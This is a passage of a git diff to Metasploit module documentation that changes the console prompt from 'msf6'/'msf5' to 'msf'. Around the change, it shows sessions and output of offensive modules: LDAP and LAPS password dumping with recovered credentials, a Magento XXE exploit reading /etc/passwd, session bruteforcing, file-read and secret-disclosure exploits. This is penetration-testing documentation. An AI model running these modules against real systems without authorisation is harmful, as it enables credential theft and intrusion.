ldap://:@127.0.0.1:1389 +[*] Reloading module... +[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST +[*] Discovered base DN: dc=example,dc=org +[*] The target LDAP server is not an Active Directory Domain Controller. +[*] Searching base DN: dc=example,dc=org +[+] Credentials (password) found in userpassword: user01:password1 +[+] Credentials (password) found in userpassword: user02:password2 +[*] Found 2 entries and 2 credentials in 'dc=example,dc=org'. +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(gather/ldap_passwords) > +``` + +### Setup (Windows LAPSv1) +1. Start with a Windows Domain Controller +2. Install all the programs from the applicable binary from https://www.microsoft.com/en-us/download/details.aspx?id=46899 +3. Make sure the user account is a Schema Admin, reboot after joining the group +4. Set the Group Policy settings as noted in Section 3 of the “LAPS_OperationsGuide.docx” file +5. Run the UI as noted in Section 4, the LDAP attributes should be populated at this point + +### Setup (Windows LAPSv2) +1. Start with a Windows Domain Controller that has the April 2023 security update installed +2. Follow the instructions from https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-scenarios-windows-server-active-directory + +## Verification Steps + +Follow [Setup](#setup) and [Scenarios](#scenarios). + +## Options + +### BASE_DN + +If you already have the LDAP base DN, you may set it in this option. + +### USER_ATTR + +LDAP attribute to that contains the username. Defaults to the first attribute that exists in the search order +`sAMAccountName` (Active Directory), `uid` (OpenLDAP), `dn`. + +### PASS_ATTR + +LDAP attribute to take the password data from. This option will be added to the array of options the module always +searches for. + +## Scenarios + +### Avaya Communication Manager via anonymous bind + +``` +msf auxiliary(gather/ldap_passwords) > options + +Module options (auxiliary/gather/ldap_passwords): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + BASE_DN no LDAP base DN if you already have it + PASS_ATTR userPassword no Additional LDAP attribute(s) that contain password hashes + READ_TIMEOUT 600 no LDAP read timeout in seconds + SSL false no Enable SSL on the LDAP connection + USER_ATTR no LDAP attribute(s), that contains username + + + Used when connecting via an existing SESSION: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION no The session to run this module on + + + Used when making a new connection via RHOSTS: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LDAPDomain no The domain to authenticate to + LDAPPassword no The password to authenticate with + LDAPUsername no The username to authenticate with + RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 389 no The target port + THREADS 1 yes The number of concurrent threads (max one per host) + + +View the full module info with the info, or info -d command. + +msf auxiliary(gather/ldap_passwords) > set RHOSTS 192.0.2.1 +RHOSTS => 192.0.2.1 + +msf auxiliary(gather/ldap_passwords) > run +[*] Discovered base DN: dc=vsp +[*] The target LDAP server is not an Active Directory Domain Controller. +[*] Searching base DN: dc=vsp +[+] Credentials found: cust:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng== +[+] Credentials found: admin:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng== +[*] Found 2 entries and 2 credentials in 'dc=vsp'. +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +### NASDeluxe - NAS with Samba LM/NTLM hashes + +``` +msf auxiliary(gather/ldap_passwords) > set RHOSTS 192.0.2.1 +RHOSTS => 192.0.2.1 + +msf auxiliary(gather/ldap_passwords) > run +[*] Running module against 192.0.2.1 + +[*] Discovered base DN: dc=server,dc=nas +[*] The target LDAP server is not an Active Directory Domain Controller. +[*] Searching base DN: dc=server,dc=nas +[+] Credentials found: admin:209C6174DA490CAEB422F3FA5A7AE634 +[+] Credentials found: joe:58E8C758A4E67F34EF9C40944EB5535B +[*] Found 2 entries and 2 credentials in 'dc=server,dc=nas'. +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +### Windows Server 2019 - LAPSv2 with Encryption +``` +msf auxiliary(gather/ldap_passwords) > run ldap://msflab.local;smcintyre:Password1!@192.0.2.10 +[*] Discovered base DN: DC=msflab,DC=local +[*] The target LDAP server is an Active Directory Domain Controller. +[*] Searching base DN: DC=msflab,DC=local +[+] Credentials (password) found in mslaps-encryptedpassword: Administrator:m8L3A.LcZ9!lnT (expires: 2025-03-08 17:22:57 UTC) +[*] Found 1 entries and 1 credentials in 'DC=msflab,DC=local'. +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(gather/ldap_passwords) > +``` diff --git a/documentation/modules/auxiliary/gather/ldap_query.md b/documentation/modules/auxiliary/gather/ldap_query.md index c7cd1d122770e..3460c65ecf2dd 100644 --- a/documentation/modules/auxiliary/gather/ldap_query.md +++ b/documentation/modules/auxiliary/gather/ldap_query.md @@ -83,20 +83,20 @@ target LDAP server. Used to filter the results down to manageable sets of data. ### RUN_SINGLE_QUERY with Table Output ``` -msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query -msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com +msf payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query +msf auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com BIND_DN => normal@daforest.com -msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123 +msf auxiliary(gather/ldap_query) > set BIND_PW thePassword123 BIND_PW => thePassword123 -msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.27.51.83 +msf auxiliary(gather/ldap_query) > set RHOSTS 172.27.51.83 RHOSTS => 172.27.51.83 -msf6 auxiliary(gather/ldap_query) > set ACTION RUN_SINGLE_QUERY +msf auxiliary(gather/ldap_query) > set ACTION RUN_SINGLE_QUERY ACTION => RUN_SINGLE_QUERY -msf6 auxiliary(gather/ldap_query) > set QUERY_ATTRIBUTES dn,displayName,name +msf auxiliary(gather/ldap_query) > set QUERY_ATTRIBUTES dn,displayName,name QUERY_ATTRIBUTES => dn,displayName,name -msf6 auxiliary(gather/ldap_query) > set QUERY_FILTER (objectClass=*) +msf auxiliary(gather/ldap_query) > set QUERY_FILTER (objectClass=*) QUERY_FILTER => (objectClass=*) -msf6 auxiliary(gather/ldap_query) > run +msf auxiliary(gather/ldap_query) > run [*] Running module against 172.27.51.83 [+] Successfully bound to the LDAP server! @@ -159,7 +159,7 @@ msf6 auxiliary(gather/ldap_query) > run name WVIR1000013 [*] Auxiliary module execution completed -msf6 auxiliary(gather/ldap_query) > +msf auxiliary(gather/ldap_query) > ``` ### RUN_QUERY_FILE with Table Output @@ -200,18 +200,18 @@ Here is the results of using this file with the `RUN_QUERY_FILE` action which wi run all queries within the file one after another. ``` -msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query -msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com +msf payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query +msf auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com BIND_DN => normal@daforest.com -msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123 +msf auxiliary(gather/ldap_query) > set BIND_PW thePassword123 BIND_PW => thePassword123 -msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.27.51.83 +msf auxiliary(gather/ldap_query) > set RHOSTS 172.27.51.83 RHOSTS => 172.27.51.83 -msf6 auxiliary(gather/ldap_query) > set ACTION RUN_QUERY_FILE +msf auxiliary(gather/ldap_query) > set ACTION RUN_QUERY_FILE ACTION => RUN_QUERY_FILE -msf6 auxiliary(gather/ldap_query) > set QUERY_FILE_PATH /home/gwillcox/git/metasploit-framework/test.yaml +msf auxiliary(gather/ldap_query) > set QUERY_FILE_PATH /home/gwillcox/git/metasploit-framework/test.yaml QUERY_FILE_PATH => /home/gwillcox/git/metasploit-framework/test.yaml -msf6 auxiliary(gather/ldap_query) > show options +msf auxiliary(gather/ldap_query) > show options Module options (auxiliary/gather/ldap_query): Name Current Setting Required Description @@ -246,7 +246,7 @@ Module options (auxiliary/gather/ldap_query): RUN_QUERY_FILE Execute a custom set of LDAP queries from the JSON or YAML file specified by QUERY_FILE. -msf6 auxiliary(gather/ldap_query) > run +msf auxiliary(gather/ldap_query) > run [*] Running module against 172.27.51.83 [+] Successfully bound to the LDAP server! @@ -349,22 +349,22 @@ msf6 auxiliary(gather/ldap_query) > run name EL-chu-distlist1 [*] Auxiliary module execution completed -msf6 auxiliary(gather/ldap_query) > +msf auxiliary(gather/ldap_query) > ``` ### ENUM_COMPUTERS with Table Output ``` -msf6 > use auxiliary/gather/ldap_query -msf6 auxiliary(gather/ldap_query) > set RHOSTS 192.168.159.10 +msf > use auxiliary/gather/ldap_query +msf auxiliary(gather/ldap_query) > set RHOSTS 192.168.159.10 RHOSTS => 192.168.159.10 -msf6 auxiliary(gather/ldap_query) > set USERNAME aliddle +msf auxiliary(gather/ldap_query) > set USERNAME aliddle USERNAME => aliddle -msf6 auxiliary(gather/ldap_query) > set PASSWORD Password1! +msf auxiliary(gather/ldap_query) > set PASSWORD Password1! PASSWORD => Password1! -msf6 auxiliary(gather/ldap_query) > set DOMAIN msflab.local +msf auxiliary(gather/ldap_query) > set DOMAIN msflab.local DOMAIN => msflab.local -msf6 auxiliary(gather/ldap_query) > enum_computers output_format=table +msf auxiliary(gather/ldap_query) > enum_computers output_format=table [*] Running module against 192.168.159.10 [*] Discovering base DN automatically @@ -426,21 +426,21 @@ CN=DESKTOP-MO5E49K8 CN=Computers DC=msflab DC=local samaccountname DESKTOP-MO5E49K8$ [*] Auxiliary module execution completed -msf6 auxiliary(gather/ldap_query) > +msf auxiliary(gather/ldap_query) > ``` ### ENUM_COMPUTERS with CSV Output ``` -msf6 > use auxiliary/gather/ldap_query -msf6 auxiliary(gather/ldap_query) > set RHOSTS 192.168.159.10 +msf > use auxiliary/gather/ldap_query +msf auxiliary(gather/ldap_query) > set RHOSTS 192.168.159.10 RHOSTS => 192.168.159.10 -msf6 auxiliary(gather/ldap_query) > set USERNAME aliddle +msf auxiliary(gather/ldap_query) > set USERNAME aliddle USERNAME => aliddle -msf6 auxiliary(gather/ldap_query) > set PASSWORD Password1! +msf auxiliary(gather/ldap_query) > set PASSWORD Password1! PASSWORD => Password1! -msf6 auxiliary(gather/ldap_query) > set DOMAIN msflab.local +msf auxiliary(gather/ldap_query) > set DOMAIN msflab.local DOMAIN => msflab.local -msf6 auxiliary(gather/ldap_query) > enum_computers output_format=csv +msf auxiliary(gather/ldap_query) > enum_computers output_format=csv [*] Running module against 192.168.159.10 [*] Discovering base DN automatically @@ -487,21 +487,21 @@ Name,Attributes "lastlogontimestamp","2023-01-18 14:09:58 UTC" [*] Auxiliary module execution completed -msf6 auxiliary(gather/ldap_query) > +msf auxiliary(gather/ldap_query) > ``` ### ENUM_COMPUTERS with JSON Output ``` -msf6 > use auxiliary/gather/ldap_query -msf6 auxiliary(gather/ldap_query) > set RHOSTS 192.168.159.10 +msf > use auxiliary/gather/ldap_query +msf auxiliary(gather/ldap_query) > set RHOSTS 192.168.159.10 RHOSTS => 192.168.159.10 -msf6 auxiliary(gather/ldap_query) > set USERNAME aliddle +msf auxiliary(gather/ldap_query) > set USERNAME aliddle USERNAME => aliddle -msf6 auxiliary(gather/ldap_query) > set PASSWORD Password1! +msf auxiliary(gather/ldap_query) > set PASSWORD Password1! PASSWORD => Password1! -msf6 auxiliary(gather/ldap_query) > set DOMAIN msflab.local +msf auxiliary(gather/ldap_query) > set DOMAIN msflab.local DOMAIN => msflab.local -msf6 auxiliary(gather/ldap_query) > enum_computers output_format=json +msf auxiliary(gather/ldap_query) > enum_computers output_format=json [*] Running module against 192.168.159.10 [*] Discovering base DN automatically @@ -552,5 +552,5 @@ msf6 auxiliary(gather/ldap_query) > enum_computers output_format=json "lastlogontimestamp": "2023-01-18 14:09:58 UTC" } [*] Auxiliary module execution completed -msf6 auxiliary(gather/ldap_query) > +msf auxiliary(gather/ldap_query) > ``` diff --git a/documentation/modules/auxiliary/gather/magento_xxe_cve_2024_34102.md b/documentation/modules/auxiliary/gather/magento_xxe_cve_2024_34102.md index 1a0836bbaec7b..977b832553808 100644 --- a/documentation/modules/auxiliary/gather/magento_xxe_cve_2024_34102.md +++ b/documentation/modules/auxiliary/gather/magento_xxe_cve_2024_34102.md @@ -126,7 +126,7 @@ Module options (exploit/multi/http/magento_xxe_cve_2024_34102): ``` ``` -msf6 exploit(multi/http/magento_xxe_cve_2024_34102) > +msf exploit(multi/http/magento_xxe_cve_2024_34102) > [!] AutoCheck is disabled, proceeding with exploitation [*] Using URL: http://192.168.128.1:8080/ [*] Sending XXE request @@ -134,7 +134,7 @@ msf6 exploit(multi/http/magento_xxe_cve_2024_34102) > [+] Received file /etc/passwd content [+] File saved in: /home/redwaysecurity/.msf4/loot/20240715171929_default_127.0.0.1_etcpasswd_069426.txt -msf6 exploit(multi/http/magento_xxe_cve_2024_34102) > cat /home/redwaysecurity/.msf4/loot/20240715171929_default_127.0.0.1_etcpasswd_069426.txt +msf exploit(multi/http/magento_xxe_cve_2024_34102) > cat /home/redwaysecurity/.msf4/loot/20240715171929_default_127.0.0.1_etcpasswd_069426.txt [*] exec: cat /home/redwaysecurity/.msf4/loot/20240715171929_default_127.0.0.1_etcpasswd_069426.txt root:x:0:0:root:/root:/bin/bash @@ -155,5 +155,5 @@ list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin -msf6 exploit(multi/http/magento_xxe_cve_2024_34102) > +msf exploit(multi/http/magento_xxe_cve_2024_34102) > ``` diff --git a/documentation/modules/auxiliary/gather/manageengine_adaudit_plus_xnode_enum.md b/documentation/modules/auxiliary/gather/manageengine_adaudit_plus_xnode_enum.md index 28266e5e1b49e..b988f905287a6 100644 --- a/documentation/modules/auxiliary/gather/manageengine_adaudit_plus_xnode_enum.md +++ b/documentation/modules/auxiliary/gather/manageengine_adaudit_plus_xnode_enum.md @@ -77,7 +77,7 @@ Dump all data from the available data repositories (tables). If true, CONFIG_FIL ## Scenarios ### ManageEngine ADAudit Plus 6.0.3 (6031) running on Windows Server 2012 R2 ``` -msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > options +msf auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > options Module options (auxiliary/gather/manageengine_adaudit_plus_xnode_enum): @@ -91,7 +91,7 @@ Module options (auxiliary/gather/manageengine_adaudit_plus_xnode_enum): RPORT 29118 yes The target port (TCP) USERNAME atom yes Username used to authenticate to the Xnode server -msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > run +msf auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > run [*] Running module against 192.168.1.41 [*] 192.168.1.41:29118 - Running automatic check ("set AutoCheck false" to disable) @@ -110,12 +110,12 @@ msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > run ### ManageEngine ADAudit Plus 6.0.7 (6076) running on Windows Server 2019 (custom password) ``` -msf6 > use auxiliary/gather/manageengine_adaudit_plus_xnode_enum -msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > set rhosts 192.168.1.25 +msf > use auxiliary/gather/manageengine_adaudit_plus_xnode_enum +msf auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > set rhosts 192.168.1.25 rhosts => 192.168.1.25 -msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > set password custom_password +msf auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > set password custom_password password => custom_password -msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > options +msf auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > options Module options (auxiliary/gather/manageengine_adaudit_plus_xnode_enum): @@ -129,7 +129,7 @@ Module options (auxiliary/gather/manageengine_adaudit_plus_xnode_enum): RPORT 29118 yes The target port (TCP) USERNAME atom yes Username used to authenticate to the Xnode server -msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > run +msf auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > run [*] Running module against 192.168.1.25 @@ -152,5 +152,5 @@ msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > run [*] 192.168.1.25:29118 - Processed 75 queries (max 10 records per query) so far. The last queried record ID was 750. The max ID is 926... [+] 192.168.1.25:29118 - Saving 722 records from the AdapDNSAuditLog data repository to /root/.msf4/loot/20220610073754_default_192.168.1.25_xnode_dnsaudit_775121.json [*] Auxiliary module execution completed -msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > +msf auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > ``` diff --git a/documentation/modules/auxiliary/gather/manageengine_datasecurity_plus_xnode_enum.md b/documentation/modules/auxiliary/gather/manageengine_datasecurity_plus_xnode_enum.md index 8dc98b6aa5e2b..4e5862fecd809 100644 --- a/documentation/modules/auxiliary/gather/manageengine_datasecurity_plus_xnode_enum.md +++ b/documentation/modules/auxiliary/gather/manageengine_datasecurity_plus_xnode_enum.md @@ -76,7 +76,7 @@ Dump all data from the available data repositories (tables). If true, CONFIG_FIL ## Scenarios ### ManageEngine DataSecurity Plus 6.0.1 (6010) on Windows Server 2012 ``` -msf6 auxiliary(gather/manageengine_datasecurity_plus_xnode_enum) > options +msf auxiliary(gather/manageengine_datasecurity_plus_xnode_enum) > options Module options (auxiliary/gather/manageengine_datasecurity_plus_xnode_enum): @@ -90,7 +90,7 @@ Module options (auxiliary/gather/manageengine_datasecurity_plus_xnode_enum): RPORT 29119 yes The target port (TCP) USERNAME atom yes Username used to authenticate to the Xnode server -msf6 auxiliary(gather/manageengine_datasecurity_plus_xnode_enum) > run +msf auxiliary(gather/manageengine_datasecurity_plus_xnode_enum) > run [*] Running module against 192.168.1.41 [*] 192.168.1.41:29119 - Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/auxiliary/gather/microweber_lfi.md b/documentation/modules/auxiliary/gather/microweber_lfi.md index 6e9cf37423947..73c076d6bd119 100644 --- a/documentation/modules/auxiliary/gather/microweber_lfi.md +++ b/documentation/modules/auxiliary/gather/microweber_lfi.md @@ -26,7 +26,7 @@ If you want, you can follow the steps in the official vulnerability report to re ## Options ``` -msf6 auxiliary(gather/microweber_lfi) > options +msf auxiliary(gather/microweber_lfi) > options Module options (auxiliary/gather/microweber_lfi): @@ -48,23 +48,23 @@ Module options (auxiliary/gather/microweber_lfi): This module has been tested against Microweber CMS v1.2.10 installed on Ubuntu. ``` -msf6 auxiliary(gather/microweber_lfi) > use auxiliary/gather/microweber_lfi -msf6 auxiliary(gather/microweber_lfi) > set username admin +msf auxiliary(gather/microweber_lfi) > use auxiliary/gather/microweber_lfi +msf auxiliary(gather/microweber_lfi) > set username admin username => admin -msf6 auxiliary(gather/microweber_lfi) > set password admin +msf auxiliary(gather/microweber_lfi) > set password admin password => admin -msf6 auxiliary(gather/microweber_lfi) > set local_file_path /etc/hosts +msf auxiliary(gather/microweber_lfi) > set local_file_path /etc/hosts local_file_path => /etc/hosts -msf6 auxiliary(gather/microweber_lfi) > set rhosts 192.168.188.132 +msf auxiliary(gather/microweber_lfi) > set rhosts 192.168.188.132 rhosts => 192.168.188.132 -msf6 auxiliary(gather/microweber_lfi) > check +msf auxiliary(gather/microweber_lfi) > check [*] Checking if it's Microweber CMS. [+] Microweber CMS has been detected. [*] Checking Microweber's version. [+] Microweber version 1.2.10 [*] 192.168.188.132:80 - The target appears to be vulnerable. -msf6 auxiliary(gather/microweber_lfi) > exploit +msf auxiliary(gather/microweber_lfi) > exploit [*] Running module against 192.168.188.132 [*] Running automatic check ("set AutoCheck false" to disable) @@ -76,9 +76,9 @@ msf6 auxiliary(gather/microweber_lfi) > exploit [-] Auxiliary aborted due to failure: bad-config: Triggering this vulnerability may delete the local file if the web service user has the permission. If you want to continue, disable the DEFANGED_MODE. => set DEFANGED_MODE false -msf6 auxiliary(gather/microweber_lfi) > set defanged_mode false +msf auxiliary(gather/microweber_lfi) > set defanged_mode false defanged_mode => false -msf6 auxiliary(gather/microweber_lfi) > exploit +msf auxiliary(gather/microweber_lfi) > exploit [*] Running module against 192.168.188.132 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/auxiliary/gather/mikrotik_winbox_fileread.md b/documentation/modules/auxiliary/gather/mikrotik_winbox_fileread.md index 22e8acea09d32..28197ac747509 100644 --- a/documentation/modules/auxiliary/gather/mikrotik_winbox_fileread.md +++ b/documentation/modules/auxiliary/gather/mikrotik_winbox_fileread.md @@ -42,10 +42,10 @@ Add a user ### Mikrotik Cloud Router RouterOS 6.40.4 ``` -msf5 > use auxiliary/gather/mikrotik_winbox_fileread -msf5 auxiliary(gather/mikrotik_winbox_fileread) > set rhosts 1.1.1.1 +msf > use auxiliary/gather/mikrotik_winbox_fileread +msf auxiliary(gather/mikrotik_winbox_fileread) > set rhosts 1.1.1.1 rhosts => 1.1.1.1 -msf5 auxiliary(gather/mikrotik_winbox_fileread) > run +msf auxiliary(gather/mikrotik_winbox_fileread) > run [*] Running for 1.1.1.1... [*] 1.1.1.1 - Session ID: 54 diff --git a/documentation/modules/auxiliary/gather/minio_bootstrap_verify_info_disc.md b/documentation/modules/auxiliary/gather/minio_bootstrap_verify_info_disc.md index 7af9028aad0a3..238654dec16ae 100644 --- a/documentation/modules/auxiliary/gather/minio_bootstrap_verify_info_disc.md +++ b/documentation/modules/auxiliary/gather/minio_bootstrap_verify_info_disc.md @@ -30,7 +30,7 @@ resource (msf)> set rhost 127.0.0.1 rhost => 127.0.0.1 resource (msf)> set rport 9000 rport => 9000 -msf6 auxiliary(gather/minio_bootstrap_verify_info_disc) > run +msf auxiliary(gather/minio_bootstrap_verify_info_disc) > run [*] Reloading module... [*] Running module against 127.0.0.1 @@ -44,4 +44,4 @@ msf6 auxiliary(gather/minio_bootstrap_verify_info_disc) > run [+] MINIO_SECRET_KEY_FILE: secret_key [+] MinIO Environmental Variables Json Saved to: /root/.msf4/loot/20240131112953_default_127.0.0.1_minio.env.json_772811.json [*] Auxiliary module execution completed -``` \ No newline at end of file +``` diff --git a/documentation/modules/auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info.md b/documentation/modules/auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info.md index ab90f7c76c07c..c75170a41cba0 100644 --- a/documentation/modules/auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info.md +++ b/documentation/modules/auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info.md @@ -53,16 +53,16 @@ Private Key for the API key that was created with `Global Monitoring Admin` or ` ### Mongodb OPS Manager 6.0.11 on Ubuntu 22.04 ``` -msf6 > use auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info -msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > set API_PUBKEY zmdhriti +msf > use auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info +msf auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > set API_PUBKEY zmdhriti API_PUBKEY => zmdhriti -msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > set API_PRIVKEY fd2faf05-18bc-4e6b-8ea1-419f3e8f95bc +msf auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > set API_PRIVKEY fd2faf05-18bc-4e6b-8ea1-419f3e8f95bc API_PRIVKEY => fd2faf05-18bc-4e6b-8ea1-419f3e8f95bc -msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > set verbose true +msf auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > set verbose true verbose => true -msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > set rhosts 127.0.0.1 +msf auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > run +msf auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > run [*] Running module against 127.0.0.1 [*] Checking for orgs @@ -78,5 +78,5 @@ msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > run [+] Found ubuntu22-0-bgrid's unredacted mms.saml.ssl.PEMKeyFilePassword: FINDME [+] Found ubuntu22-0-mms's unredacted mms.saml.ssl.PEMKeyFilePassword: FINDME [*] Auxiliary module execution completed -msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > +msf auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > ``` diff --git a/documentation/modules/auxiliary/gather/nuuo_cms_bruteforce.md b/documentation/modules/auxiliary/gather/nuuo_cms_bruteforce.md index d52b423f1478a..ef56e3fbcb6fc 100644 --- a/documentation/modules/auxiliary/gather/nuuo_cms_bruteforce.md +++ b/documentation/modules/auxiliary/gather/nuuo_cms_bruteforce.md @@ -60,14 +60,14 @@ It is worth noticing that when a user logs in, the session has to be maintained ### Tested on Windows 10 Pro x64 running NCS Server v2.1.0 ``` -msf5 auxiliary(gather/nuuo_cms_bruteforce) > set rhosts 172.22.222.200 +msf auxiliary(gather/nuuo_cms_bruteforce) > set rhosts 172.22.222.200 rhosts => 172.22.222.200 -msf5 auxiliary(gather/nuuo_cms_bruteforce) > exploit +msf auxiliary(gather/nuuo_cms_bruteforce) > exploit [*] 172.22.222.200:5180 - Bruteforcing session - this might take a while, go get some coffee! [*] 172.22.222.200:5180 - Generating 2621440 session tokens [+] 172.22.222.200:5180 - Found valid user session: 42094216 [*] 172.22.222.200:5180 - Time taken: 1384.588721601991 seconds; total tries 590893 [*] Auxiliary module execution completed -msf5 auxiliary(gather/nuuo_cms_bruteforce) > +msf auxiliary(gather/nuuo_cms_bruteforce) > ``` diff --git a/documentation/modules/auxiliary/gather/nuuo_cms_file_download.md b/documentation/modules/auxiliary/gather/nuuo_cms_file_download.md index 9e3eaf839468e..3759ac04bb81f 100644 --- a/documentation/modules/auxiliary/gather/nuuo_cms_file_download.md +++ b/documentation/modules/auxiliary/gather/nuuo_cms_file_download.md @@ -46,9 +46,9 @@ The following versions were tested: ### Tested on Windows 10 Pro x64 running NCS Server 2.4.0 ``` -msf5 auxiliary(gather/nuuo_cms_file_download) > set rhosts 172.22.222.200 +msf auxiliary(gather/nuuo_cms_file_download) > set rhosts 172.22.222.200 rhosts => 172.22.222.200 -msf5 auxiliary(gather/nuuo_cms_file_download) > exploit +msf auxiliary(gather/nuuo_cms_file_download) > exploit [+] 172.22.222.200:5180 - Downloaded file to /home/msfdev/.msf4/loot/20190219064923_default_172.22.222.200_CMServer.cfg_227185.cfg [+] 172.22.222.200:5180 - Downloaded file to /home/msfdev/.msf4/loot/20190219064923_default_172.22.222.200_ServerConfig.cfg_050084.cfg @@ -59,5 +59,5 @@ msf5 auxiliary(gather/nuuo_cms_file_download) > exploit [*] 172.22.222.200:5180 - password NUCMS2007! to unzip them. [*] 172.22.222.200:5180 - Annoy the Metasploit developers until this gets fixed! [*] Auxiliary module execution completed -msf5 auxiliary(gather/nuuo_cms_file_download) > +msf auxiliary(gather/nuuo_cms_file_download) > ``` diff --git a/documentation/modules/auxiliary/gather/oats_downloadservlet_traversal.md b/documentation/modules/auxiliary/gather/oats_downloadservlet_traversal.md index b3079c093dbb0..c6a269c61b304 100644 --- a/documentation/modules/auxiliary/gather/oats_downloadservlet_traversal.md +++ b/documentation/modules/auxiliary/gather/oats_downloadservlet_traversal.md @@ -54,7 +54,7 @@ Special thanks to Steven Seeley to assist on the development of the Metasploit m ## Scenarios ``` -msf5 auxiliary(gather/oats_downloadservlet_traversal) > run +msf auxiliary(gather/oats_downloadservlet_traversal) > run [*] Running module against 172.16.249.143 @@ -75,5 +75,5 @@ msf5 auxiliary(gather/oats_downloadservlet_traversal) > run [*] Auxiliary module execution completed -msf5 auxiliary(gather/oats_downloadservlet_traversal) > +msf auxiliary(gather/oats_downloadservlet_traversal) > ``` diff --git a/documentation/modules/auxiliary/gather/office365userenum.md b/documentation/modules/auxiliary/gather/office365userenum.md index 93444ed141f75..461923dd85e13 100644 --- a/documentation/modules/auxiliary/gather/office365userenum.md +++ b/documentation/modules/auxiliary/gather/office365userenum.md @@ -46,9 +46,9 @@ The following demonstrates basic usage, using the supplied users wordlist and default options. ``` -msf5 auxiliary(gather/office365userenum) > set users /home/msfdev/users +msf auxiliary(gather/office365userenum) > set users /home/msfdev/users users => /home/msfdev/users -msf5 auxiliary(gather/office365userenum) > run +msf auxiliary(gather/office365userenum) > run [*] diff --git a/documentation/modules/auxiliary/gather/onedev_arbitrary_file_read.md b/documentation/modules/auxiliary/gather/onedev_arbitrary_file_read.md index 6d9029b131c5b..2fbb1b2b279a3 100644 --- a/documentation/modules/auxiliary/gather/onedev_arbitrary_file_read.md +++ b/documentation/modules/auxiliary/gather/onedev_arbitrary_file_read.md @@ -60,13 +60,13 @@ If set as `true`, the target file contents will be stored as loot. Set as `false ### Example: Known project name or anonymous access enabled on OneDev 11.0.8 ``` -msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RHOSTS 192.168.1.10 +msf auxiliary(gather/onedev_arbitrary_file_read) > set RHOSTS 192.168.1.10 RHOSTS => 192.168.1.10 -msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RPORT 6610 +msf auxiliary(gather/onedev_arbitrary_file_read) > set RPORT 6610 RPORT => 6610 -msf6 auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAME myproject +msf auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAME myproject PROJECT_NAME => myproject -msf6 auxiliary(gather/onedev_arbitrary_file_read) > run +msf auxiliary(gather/onedev_arbitrary_file_read) > run [*] Running module against 192.168.1.10 [+] Target file retrieved with success @@ -97,13 +97,13 @@ messagebus:x:100:101::/nonexistent:/usr/sbin/nologin ### Example: Unknown projects with anonymous access disabled 